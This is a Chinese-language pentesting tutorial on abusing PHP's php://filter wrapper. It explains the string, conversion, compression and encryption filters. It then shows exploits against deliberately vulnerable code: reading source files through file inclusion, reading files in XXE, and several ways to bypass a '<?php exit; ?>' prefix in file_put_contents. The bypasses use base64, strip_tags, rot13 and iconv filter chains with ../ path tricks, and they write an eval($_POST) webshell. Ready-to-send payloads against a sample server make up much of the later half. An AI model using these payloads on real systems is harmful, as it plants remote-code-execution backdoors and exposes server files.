在渗透测试或漏洞挖掘的过程中，我们经常会遇到`php://filter`结合其它漏洞比如文件包含、文件读取、反序列化、XXE等进行组合利用，以达到一定的攻击效果，拿到相应的服务器权限。
最近看到`php://filter`在ThinkPHP反序列化中频繁出现利用其相应构造可以RCE，那么下面就来探索一下关于`php://filter`在漏洞挖掘中的一些奇技淫巧。
## php://filter
在探索php://filter在实战当中的奇技淫巧时，一定要先了解关于php://filter的原理和利用。
对于PHP官方手册介绍如下
> php://filter 是一种元封装器，设计用于数据流打开时的筛选过滤应用。这对于一体式（all-in-one）的文件函数非常有用，类似
> readfile()、 file() 和 file_get_contents()，在数据流内容读取之前没有机会应用其他过滤器。
>
> php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
### 参数
### 使用
通过参数去了解php://filter的使用
* 测试代码
<?php
$file1 = $_GET['file1'];
$file2 = $_GET['file2'];
$txt = $_GET['txt'];
echo file_get_contents($file1);
file_put_contents($file2,$txt);
?>
* 读取文件
payload：
# 明文读取
index.php?file1=php://filter/resource=file.txt
# 编码读取
index.php?file1=php://filter/read=convert.base64-encode/resource=file.txt
测试结果：
* 写入文件
payload：
# 明文写入
index.php?file2=php://filter/resource=test.txt&txt=Qftm
# 编码写入
index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm
测试结果：
### 过滤器
通过参考[官方过滤器](https://www.php.net/manual/zh/filters.php)的解释，进行一个简单的描述总结（版本、以及使用的介绍）
**String Filters**
String Filters（字符串过滤器）每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。
**string.rot13**
（自 PHP 4.3.0 起）使用此过滤器等同于用
[str_rot13()](https://www.php.net/manual/zh/function.str-rot13.php)函数处理所有的流数据。
`string.rot13`对字符串执行 ROT13 转换，ROT13 编码简单地使用字母表中后面第 13
个字母替换当前字母，同时忽略非字母表中的字符。编码和解码都使用相同的函数，传递一个编码过的字符串作为参数，将得到原始字符串。
* Example #1 string.rot13
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
fwrite($fp, "This is a test.\n");
/* Outputs: Guvf vf n grfg. */
?>
**string.toupper**
（自 PHP 5.0.0 起）使用此过滤器等同于用
[strtoupper()](https://www.php.net/manual/zh/function.strtoupper.php)函数处理所有的流数据。
string.toupper 将字符串转化为大写
* Example #2 string.toupper
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.\n");
/* Outputs: THIS IS A TEST. */
?>
**string.tolower**
（自 PHP 5.0.0 起）使用此过滤器等同于用
[strtolower()](https://www.php.net/manual/zh/function.strtolower.php)函数处理所有的流数据。
string.toupper 将字符串转化为小写
* Example #3 string.tolower
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.\n");
/* Outputs: this is a test. */
?>
**string.strip_tags**
(PHP 4, PHP 5, PHP 7)（自PHP 7.3.0起已弃用此功能。）
使用此过滤器等同于用 [strip_tags()](https://www.php.net/manual/zh/function.strip-tags.php)函数处理所有的流数据。可以用两种格式接收参数：一种是和
[strip_tags()](https://www.php.net/manual/zh/function.strip-tags.php)函数第二个参数相似的一个包含有标记列表的字符串，一种是一个包含有标记名的数组。
string.strip_tags从字符串中去除 HTML 和 PHP 标记，尝试返回给定的字符串 `str` 去除空字符、HTML 和 PHP
标记后的结果。它使用与函数 [fgetss()](https://www.php.net/manual/zh/function.fgetss.php)
一样的机制去除标记。
Note:
HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的，所以无法通过 allowable_tags 参数进行改变。
* Example #4 string.strip_tags
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* Outputs: <b>bolded text</b> enlarged to a level 1 heading */
?>
### **Conversion Filters**
Conversion Filters（转换过滤器）如同 string. _过滤器，convert._ 过滤器的作用就和其名字一样。转换过滤器是 PHP
5.0.0 添加的。
**convert.base64**
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用
[base64_encode()](https://www.php.net/manual/zh/function.base64-encode.php)和
[base64_decode()](https://www.php.net/manual/zh/function.base64-decode.php)函数处理所有的流数据。
convert.base64-encode支持以一个关联数组给出的参数。如果给出了 `line-length`，base64 输出将被用 `line-length`个字符为 长度而截成块。如果给出了 `line-break-chars`，每块将被用给出的字符隔开。这些参数的效果和用
[base64_encode()](https://www.php.net/manual/zh/function.base64-encode.php)再加上
[chunk_split()](https://www.php.net/manual/zh/function.chunk-split.php)相同。
* Example #1 convert.base64-encode & convert.base64-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs: VGhpcyBpcyBhIHRlc3QuCg== */
$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
/* Outputs: VGhpcyBp
: cyBhIHRl
: c3QuCg== */
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs: This is a test. */
?>
**convert.quoted**
_convert.quoted-printable-encode_ 和 _convert.quoted-printable-decode_ 使用此过滤器的
decode 版本等同于用
[quoted_printable_decode()](https://www.php.net/manual/zh/function.quoted-printable-decode.php)函数处理所有的流数据。没有和 _convert.quoted-printable-encode_ 相对应的函数。
_convert.quoted-printable-encode_ 支持以一个关联数组给出的参数。除了支持和 _convert.base64-encode_
一样的附加参数外， _convert.quoted-printable-encode_ 还支持布尔参数 `binary`和 `force-encode-first`。 _convert.base64-decode_ 只支持 `line-break-chars`参数作为从编码载荷中剥离的类型提示。
* Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.\n");
/* Outputs: =This is a test.=0A */
?>
**convert.iconv.***
这个过滤器需要 php 支持 `iconv`，而 iconv
是默认编译的。使用convert.iconv.*过滤器等同于用[iconv()](https://www.php.net/manual/zh/function.iconv.php)函数处理所有的流数据。
Note 该过滤在PHP中文手册里面没有标注，可查看英文手册
https://www.php.net/manual/en/filters.convert.php
`convery.iconv.*`的使用有两种方法
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
* iconv()
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv — 字符串按要求的字符编码来转换
说明
iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 `str` 从 `in_charset` 转换编码到 `out_charset`。
参数
in_charset
输入的字符集。
out_charset
输出的字符集。如果你在 out_charset 后添加了字符串 //TRANSLIT，将启用转写（transliteration）功能。这个意思是，当一个字符不能被目标字符集所表示时，它可以通过一个或多个形似的字符来近似表达。 如果你添加了字符串 //IGNORE，不能以目标字符集表达的字符将被默默丢弃。 否则，会导致一个 E_NOTICE并返回 FALSE。
str
要转换的字符串。
返回值
返回转换后的字符串， 或者在失败时返回 **`FALSE`**。
Example #1 iconv()
<?php
$text = "This is the Euro symbol '€'.";
echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;
/* Outputs:
Original : This is the Euro symbol '€'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE : This is the Euro symbol ''.
Plain :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7
*/
?>
* Example #3 convert.iconv.*
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* Outputs: This is a test. */
?>
支持的字符编码有一下几种（详细参考[官方手册](https://www.php.net/manual/en/mbstring.supported-encodings.php)）
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
、、、、、、、
、、、、、、、
Note
* 表示该编码也可以在正则表达式中使用。
** 表示该编码自 PHP 5.4.0 始可用。
### Compression Filters
虽然 [压缩封装协议](https://www.php.net/manual/zh/wrappers.compression.php)提供了在本地文件系统中
创建 gzip 和 bz2
兼容文件的方法，但不代表可以在网络的流中提供通用压缩的意思，也不代表可以将一个非压缩的流转换成一个压缩流。对此，压缩过滤器可以在任何时候应用于任何流资源。
Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
zlib. _压缩过滤器自 PHP 版本_ 5.1.0
_起可用，在激活[zlib](https://www.php.net/manual/zh/ref.zlib.php)的前提下。也可以通过安装来自 [»
PECL](https://pecl.php.net/)的 [»
zlib_filter](https://pecl.php.net/package/zlib_filter)包作为一个后门在 _5.0.x
_版中使用。此过滤器在 PHP 4 中_ 不可用*。
bzip2. _压缩过滤器自 PHP 版本_ 5.1.0
_起可用，在激活[bz2](https://www.php.net/manual/zh/ref.bzip2.php)支持的前提下。也可以通过安装来自 [»
PECL](https://pecl.php.net/)的 [»
bz2_filter](https://pecl.php.net/package/bz2_filter)包作为一个后门在 _5.0.x
_版中使用。此过滤器在 PHP 4 中_ 不可用*。
详细细节参考官方文档
https://www.php.net/manual/zh/filters.compression.php
### Encryption Filters
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 [mcrypt
扩展库](https://www.php.net/manual/zh/ref.mcrypt.php)中相同的算法，格式为
_mcrypt.ciphername_ ，其中 `ciphername`是密码的名字，将被传递给
[mcrypt_module_open()](https://www.php.net/manual/zh/function.mcrypt-module-open.php)。有以下五个过滤器参数可用：
详细细节参考官方文档
https://www.php.net/manual/zh/filters.encryption.php
在了解了有关`php://filter`的原理和利用之后，下面开始探索php://filter在漏洞挖掘中的奇妙之处。
## 文件包含
文件包含漏洞顾名思义即：包含恶意代码或恶意内容达到一定的攻击效果。
在文件包含漏洞当中，因为php://filter可以对所有文件进行编码处理，所以常常可以使用php://filter来包含读取一些特殊敏感的文件（配置文件、脚本文件等）以辅助后面的漏洞挖掘。
### 测试代码
<?php
$file = $_GET['file'];
include($file);
?>
### 漏洞利用
**利用条件** ：无
**利用姿势1** ：
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通过指定末尾的文件，可以读取经base64加密后的文件源码，之后再base64解码一下就行。虽然不能直接获取到shell等，但能读取敏感文件危害也是挺大的。同时也能够对网站源码进行审计。
**利用姿势2** ：
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样，只是少了个read关键字，在绕过一些waf时也许有用。
## XXE Encode
### XXE漏洞
XXE漏洞也就是XML外部实体注入漏洞，关于该漏洞造成的主要原因是libxml库【libxml2.9以前的版本默认支持并开启了外部实体的引用】，对于防范XXE漏洞也很简单：升级libxml版本、使用脚本语言自带的禁用xml外部实体解析。
### XXE回显问题绕过
在P牛[文章](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)里面有提到使用php://filter绕过xxe回显问题，详细细节和操作如下：
大家都知道XXE漏洞和XML有关系，当存在XXE漏洞的时候，如果我们使用相关协议读取特殊文件（HTML、PHP等）就可能会报错`parser error :
StartTag: invalid element
name`，为什么会这样呢，主要是因为XML的文件格式（xml文件声明和html以及php文件一样都是基于标签的，正是因为这样在读取这些特殊文件的时候就会解析错误）。
针对这种情况就可以使用php://filter协议来进行文件内容编码读取，避免和xml文件解析产生冲突。
* payload
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>
## Bypass file_put_contents Exit
关于这段代码`<?php exit;
?>`想必大家在漏洞挖掘中写入shell的时候经常会遇到，在这样的情况下无论写入的shell是否成功都不会执行传入的恶意代码，因为在恶意代码执行之前程序就已经结束退出了，导致shell后门利用失败。
实际漏洞挖掘当中主要会遇到以下两种限制：
* 写入shell的文件名和内容不一样（前后变量不同）
* 写入shell的文件名和内容一样（前后变量相同）
针对以上不同的限制手法所利用的姿势与技巧也不太一样，不过原理都是一样的，都需要利用相应的编码解码操作绕过头部限制写入能解析的恶意代码。下面主要针对脚本里面的`exit`限制手段进行探索与绕过。
### Bypass-不同变量
这种情况主要是针对写入shell的文件名和内容的变量不一样的时候进行探索绕过，其中的文件名主要是传入我们的php伪协议，而文件内容则传入我们精心构造的恶意数据，最终也就是通过php伪协议和内容数据进行相应的编码解码绕过自身的头部限制，使传入的恶意代码能够正常解析也就达到了目的。
关于这种情景下的利用分析主要参考最早P牛16年发布的一篇文章：[谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)，里面介绍了当写入shell并且内容可控的时候绕过`exit`头部限制，具体分析介绍如下：
**测试代码**
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>
**代码分析**
分析代码可以看到，`$content`在开头增加了exit，导致文件运行直接退出！！
在这种情况下该怎么绕过这个限制呢，思路其实也很简单我们只要将content前面的那部分内容使用某种手段（编码等）进行处理，导致php不能识别该部分就可以了。
### Bypass-转换过滤器
在上面的介绍中我们知道`php://filter`中`convert.base64-encode`和`convert.base64-decode`使用这两个过滤器等同于分别用
`base64_encode()`和 `base64_decode()`函数处理所有的流数据。
在代码中可以看到`$_POST['filename']`是可以控制协议的，既然可以控制协议，那么我们就可以使用php://filter协议的转换过滤器进行base64编码与解码来绕过限制。所以我们可以将`$content`内容进行解码，利用php
base64_decode函数特性去除“exit”。
**Base64编码与解码**
Base64编码是使用64个可打印ASCII字符（A-Z、a-z、0-9、+、/）将任意字节序列数据编码成ASCII字符串，另有“=”符号用作后缀用途。
* **base64索引表**
base64编码与解码的基础索引表如下
* **Base64编码原理**
（1）base64编码过程
Base64编码是使用64个可打印ASCII字符（A-Z、a-z、0-9、+、/）将任意字节序列数据编码成ASCII字符串，另有“=”符号用作后缀用途。
Base64将输入字符串按字节切分，取得每个字节对应的二进制值（若不足8比特则高位补0），然后将这些二进制数值串联起来，再按照6比特一组进行切分（因为2^6=64），最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制，然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
由于二进制数据是按照8比特一组进行传输，因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数（6和8的最小公倍数）。24比特就是3个字节，若原字节序列数据长度不是3的倍数时且剩下1个输入数据，则在编码结果后加2个=；若剩下2个输入数据，则在编码结果后加1个=。
完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据，所以Base64编码后的数据比原始数据略长，为原来的4/3。
（2）简单编码流程
1）将所有字符转化为ASCII码；
2）将ASCII码转化为8位二进制；
3）将8位二进制3个归成一组(不足3个在后边补0)共24位，再拆分成4组，每组6位；
4）将每组6位的二进制转为十进制；
5）从Base64编码表获取十进制对应的Base64编码；
下面举例对字符串`“ABCD”`进行base64编码：
对于不足6位的补零（图中浅红色的4位），索引为“A”；对于最后不足3字节，进行补零处理（图中红色部分），以“=”替代，因此，“ABCD”的base64编码为：“QUJDRA==”。
* **Base64解码原理**
（1）base64解码过程
base64解码，即是base64编码的逆过程，如果理解了编码过程，解码过程也就容易理解。将base64编码数据根据编码表分别索引到编码值，然后每4个编码值一组组成一个24位的数据流，解码为3个字符。对于末尾位“=”的base64数据，最终取得的4字节数据，需要去掉“=”再进行转换。
（2）base64解码特点
base64编码中只包含64个可打印字符，而PHP在解码base64时，遇到不在其中的字符时，将会跳过这些字符，仅将合法字符组成一个新的字符串进行解码。下面编写一个简单的代码，测试一组数据看是否满足我们所说的情况。
测试代码
探测base64_decode解码的特点
<?php
/**
* Created by PhpStorm.
* User: Qftm
* Date: 2020/3/17
* Time: 9:16
*/
$basestr0="QftmrootQftm";
$basestr1="Qftm#root@Qftm";
$basestr2="Qftm^root&Qftm";
$basestr3="Qft>mro%otQftm";
$basestr4="Qf%%%tmroo%%%tQftm";
echo base64_decode($basestr0)."\n";
echo base64_decode($basestr1)."\n";
echo base64_decode($basestr2)."\n";
echo base64_decode($basestr3)."\n";
echo base64_decode($basestr4)."\n";
?>
运行结果
从结果中可以看到一个字符串中，不管出现多少个特殊字符或者位置上的差异，都不会影响最终的结果，可以验证base64_decode是遇到不在其中的字符时，将会跳过这些字符，仅将合法字符组成一个新的字符串进行解码。
**Bypass**
知道php base64解码特点之后，当`$content`被加上了`<?php exit; ?>`以后，我们可以使用
`php://filter/write=convert.base64-decode` 来首先对其解码。在解码的过程中，字符`< ? ; >
空格`等一共有7个字符不符合base64编码的字符范围将被忽略，所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。
由于，”phpexit”一共7个字符，但是base64算法解码时是4个byte一组，所以我们可以随便再给他添加一个字符`（Q）`就可以，这样”phpexitQ”被正常解码，而后面我们传入的webshell的base64内容也被正常解码，这样就会将`<?php
exit; ?>`这部分内容给解码掉，从而不会影响我们写入的webshell。
* payload
http://192.33.6.145/test.php
POST
txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php
base64decode组成
phpe xitQ PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
* 载荷效果
从服务器上可以看到已经生成shell.php，同时`<?php exit; ?>`这部分已经被解码掉了。
### Bypass-字符串过滤器
除了可以使用php://filter的转换过滤器绕过以外还可以使用其字符串过滤器进行绕过利用。
**string.strip_tags**
利用php://filter中`string.strip_tags`过滤器去除”exit”。使用此过滤器等同于用
strip_tags()函数处理所有的流数据。我们观察一下，这个`<?php exit;
?>`，实际上是一个XML标签，既然是XML标签，我们就可以利用strip_tags函数去除它。
* 测试代码
<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>
* 测试payload
php://filter/read=string.strip_tags/resource=php://input
* 载荷效果
载荷利用虽然成功了，但是我们的目的是写入webshell，如果那样的话，我们的webshell岂不是同样起不了作用，不过我们可以使用多个过滤器进行绕过这个限制（php://filter允许通过
`|` 使用多个过滤器）。
* 具体步骤分析
1、webshell用base64编码 //为了避免strip_tags的影响
2、调用string.strip_tags //这一步将去除<?php exit; ?>
3、调用convert.base64-decode //这一步将还原base64编码的webshell
* payload
http://192.33.6.145/test.php
POST
txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
* 载荷效果
从服务上可以看到已经生成shell.php，同时`<?php exit; ?>`这部分已经被`string.strip_tags`去除掉。
在字符串过滤器中除了使用`string.strip_tags`Bypass外还可以使用`string.rot13`进行Bypass利用，下面通过分析了解其利用手法。
**string.rot13**
在上面的php://filter讲解中，我们知道string.rot13（自 PHP 4.3.0 起）使用此过滤器等同于用
str_rot13()函数处理所有的流数据。
* str_rot13()
str_rot13() 函数对字符串执行 ROT13 编码。
ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数，那么将返回原始字符串。
* 分析绕过
分析利用php://filter中`string.rot13`过滤器去除”exit”。string.rot13的特性是编码和解码都是自身完成，利用这一特性可以去除`exit`。`<?php
exit; ?>`在经过rot13编码后会变成`<?cuc rkvg; ?>`，不过这种利用手法的前提是PHP不开启`short_open_tag`
查看官方给的说明[手册](https://www.php.net/manual/zh/ini.core.php)
short_open_tag boolean
决定是否允许使用 PHP 代码开始标志的缩写形式（<? ?>）。如果要和 XML 结合使用 PHP，可以禁用此选项以便于嵌入使用 <?xml ?>。否则还可以通过 PHP 来输出，例如：<?php echo '<?xml version="1.0"'; ?>。如果禁用了，必须使用 PHP 代码开始标志的完整形式（<?php ?>）。
虽然官方说的默认开启，但是在php.ini中默认是注释掉的，也就是说它还是默认关闭。
; short_open_tag
; Default Value: On
; Development Value: Off
; Production Value: Off
PS：有一点奇怪的是，Linux下查看是正常的，但是在windows下同样的配置查看显示的是开启的，难道是phpstudy的锅？还是说是不同系统的问题？有了解的师傅可以告诉一下。
* payload
POST
txt=<?cuc @riny($_CBFG[Dsgz])?>&filename=php://filter/write=string.rot13/resource=shell.php
<?php exit; ?> <?cuc rkvg; ?>
<?php @eval($_POST[Qftm])?> <?cuc @riny($_CBFG[Dsgz])?>
* 载荷效果
从服务上可以看到已经生成shell.php，同时`<?php exit; ?>`这部分已经被`string.rot13`编码所处理掉了。
针对相同变量的文件`exit`写入shell的绕过手法，除了上面这些方法绕过以外，关于php://filter其他的奇思妙想，感兴趣的还可以在进行探索发现。
### Bypass-相同变量
这种情况主要是针对写入shell的文件名和内容的变量一样的时候进行探索绕过，这个时候文件名和内容就是同一个变量，而不像第一种方式那样可以比较容易的绕过，这种方式需要考虑文件名变量内容和文件内容数据的兼容性。
关于这种情景下的利用分析主要参考最近安全圈的一些研究：
* 4月份，安恒发布的一篇渗透测试文章[一次“SSRF—>RCE”的艰难利用](https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA)里面提到了使用`convert.iconv.UCS-xxx.UCS-xxx`转换器进行绕过【重点是字符串的单元组反转->导致本身正常的代码因编码转换而失效】。
* 4月份，P牛知识星球他所提到的一种手法使用`string.trip_tags|convert.base64-decode`进行绕过【重点是构造头部标签的闭合->恶意代码的编码->标签的剔除->恶意代码的解码】。
* 3月份，先知的一篇文章[Thinkphp5.0反序列化链在Windows下写文件的方法](https://xz.aliyun.com/t/7457)中提的使用`convert.iconv.utf-8.utf-7|convert.base64-decode`进行绕过【重点是编码之间的转换（编码特殊字符）->base64正常解码】。
* 3月份，先知的一篇文章[关于 ThinkPHP5.0 反序列化链的扩展](https://xz.aliyun.com/t/7310)中使用`string.trip_tags|convert.base64`进行绕过`<?php exit(); ?>`【重点是构造标签的闭合（闭合特殊字符）->恶意代码的编码->标签的剔除->恶意代码的解码】。
* 4月份，cyc1e师傅blog的一篇文章[关于file_put_contents的一些小测试](https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/)里面也有很多技巧【重点里面写入正常文件名技巧这个思路很好：过滤器里面写入payload、`../`跨目录写入文件。其它也就是一些过滤器的组合使用进行绕过，思路和上面已有的文章一样】
具体分析介绍如下：
**测试代码**
<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>
这段代码在ThinkPHP5.0.X反序列化中出现过，利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了，主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。
**代码分析**
分析代码可以看到，这种情况下写入的文件，其文件名和文件部分内容一致，这就导致利用的难度大大增加了，不过最终目的还是相同的：都是为了去除文件头部内容`exit`这个关键代码写入shell后门。
**convert.base64**
在上面不同变量利用base64构造payload的基础上，可以针对相同变量再次构造相应payload，在文件名中包含，满足正常解码就可以。
* 构造payload
a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
//注意payload中的字符'+'在浏览器中需要转换为%2B
正常情况下都会想到使用上述payload进行利用，但是这样构造发现是不可以的，因为构造的payload里面包含`'='`符号，熟悉base64编码的应该知道`'='`号在base64编码中起填充作用，也就意味着后面的结束，正是因为这样，当base64解码的时候如果字符`'='`后面包含有其他字符则会报错。具体见上文提到的先知的两篇文章里面都有提到使用base64编码所遇到的问题，里面也有提到即使关键字`read、write`可以去除，但是`resource`关键字不能少，也就导致不能直接使用这种方式去绕过。
下面可以进行测试验证有关字符`'='`在base64解码中的问题
>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+")
>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+=")
>>> base64.b64decode("PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+=q")
从测试的结果来看base64解码的时候字符`'='`后面确实不能包含有其他字符，通过参考上述先知的两篇文章以及p牛的方法就可以绕过base64编码由于等号字符造成的问题，有关分析见下面相关过滤器部分。
**string.strip_tags**
这里关于`string.strip_tags`分两种环境去测试分析：这里限制条件同样在相同变量下
# 第一种
<?php exit;
# 第二种
<?php exit; ?>
**第一种**
由于上面`Bypass-不同变量`这种情况下的限制代码直接就是`<?php exit;
?>`可以直接利用`strip_tags`去掉，但是现在这种情况下的限制代码和上面的有点不一样了，少了一段字符`?>`，其限制代码为`<?php
exit;`，不过构造的目的是相同的最终还是要把`exit;`给去除掉。
分析两者限制代码的不同，那么我们可以直接再给它加一个`?>`字符串进行闭合就可以利用了
* 构造payload
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
* 代码合并
<?php exit();php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php
分析合并后的代码文件内容，发现成功的构造php标签`<?php xxxx
?>`，同时也可以发现代码中的字符等号’=’也包含在php标签里面，那么在经过strip_tags处理的时候都会去除掉，之后就不会影响base64的正常解码了。
* 载荷效果
可以看到payload请求成功，在服务器上生成了相应的文件，同时也正常的写入了webshell
虽然这样利用成功了，但是会发现这样的文件访问会有问题的，采用`[@Cyc1e](https://github.com/Cyc1e
"@Cyc1e")`师傅里面介绍的方法，利用`../`重命名即可解决。【关于这种方法`../`其实先知的两篇文章ThinkPHP5.0反序列化利用链里面的payload就存在`../`，还是太菜了当时只分析了使用什么过滤器可以进行绕过
emmmm……】
* 利用技巧
a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
把`?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+`作为目录名（不管存不存在），再用`../`回退一下，这样创建出来的文件名为Qftm.php，这样创建出来的文件名就正常了。
有一个缺点就是这种利用手法在windows下利用不成功，因为文件名里面的`?
>`等这些是特殊字符会导致文件的创建失败，关于这个问题上面先知的第一篇文章中也有提到这个问题，以及对于这种问题的解决方法：使用`convert.iconv.utf-8.utf-7|convert.base64-decode`进行绕过；同时也可以借鉴`[@Cyc1e](https://github.com/Cyc1e
"@Cyc1e")`师傅文章里面介绍的方法，利用非php://filter过滤器写入payload进行绕过，生成正常文件名；利用这两种方法既可以在Linux下写入文件也可以在Windows下写入文件，具体见下面相关过滤器利用。
**第二种**
<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit; ?>'.$a)
?>
对于这种情况主要是限制代码本身是闭合的同时有关变量相同，对于这种问题可以借鉴上面先知的第二篇文章有关解决方法，使用`string.trip_tags|convert.base64`过滤进行绕过。
* 构造payload
php://filter/%3C|string.strip_tags|convert.base64-decode/resource=%3EPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B/../Qftm.php
关于过滤器里面写入`<|`这个过滤器，虽然php://filter里面没有但是不会爆出致命错误具有一定的兼容性。由于base64解码受字符`'='`的限制，那么则可以将其闭合在标签里面进行剔除，然后再进行base64解码。
* 利用
这种方法同样无法在Windows下写入文件只限于Linux下（特殊字符的存在导致）。
**string.rot13**
这种方法在`Bypass-不同变量`中的短标签过滤器可以直接拿到使用进行绕过，间接性构造相应的payload，这里的限制不需要闭合`exit;`也可以利用。
* 构造payload
a=php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[Dsgz])?>/../Qftm.php
a=php://filter/write=string.rot13/resource=?><?cuc @riny($_CBFG[Dsgz])?>/../Qftm.php
* 载荷效果
可以看到payload利用成功，生成目标恶意代码文件，同时恶意代码文件访问执行成功
针对`string.rot13`这种Bypass手段，还有另一种方法可以生成正常文件，也就是上面提到的，利用非php://filter过滤器写入payload进行绕过，生成正常文件名，虽然该过滤器不存在但是php://filter处理的时候只会显示警告信息不影响后续代码流程的执行（关于这个方法原理也就类似上面`string.strip_stags`的第二种情况通过将`<`不存在的过滤器写入过滤器中闭合后续标签剔除特殊字符）。
* 构造payload
a=php://filter/write=string.rot13|<?cuc @riny($_CBFG[Dsgz])?>/resource=Qftm.php
这种构造可以使得恶意代码不会存在文件名中，避免了一下文件名因包含特殊字符而出错，当然这种构造在windows下一样可以正常利用。
* 载荷效果
**convert.iconv.***
关于`convert.iconv.*`的详细介绍可以看上面对php://filter的介绍。
对于iconv字符编码转换进行绕过的手法，其实类似于上面所述的base64编码手段，都是先对原有字符串进行某种编码然后再解码，这个过程导致最初的限制`exit;`去除，而我们的恶意代码正常解码存储。
**UCS-2**
UCS-2编码转换
php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>');
?<hp pe@av(l_$OPTSQ[tf]m;)>?
>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 2*14
>>>
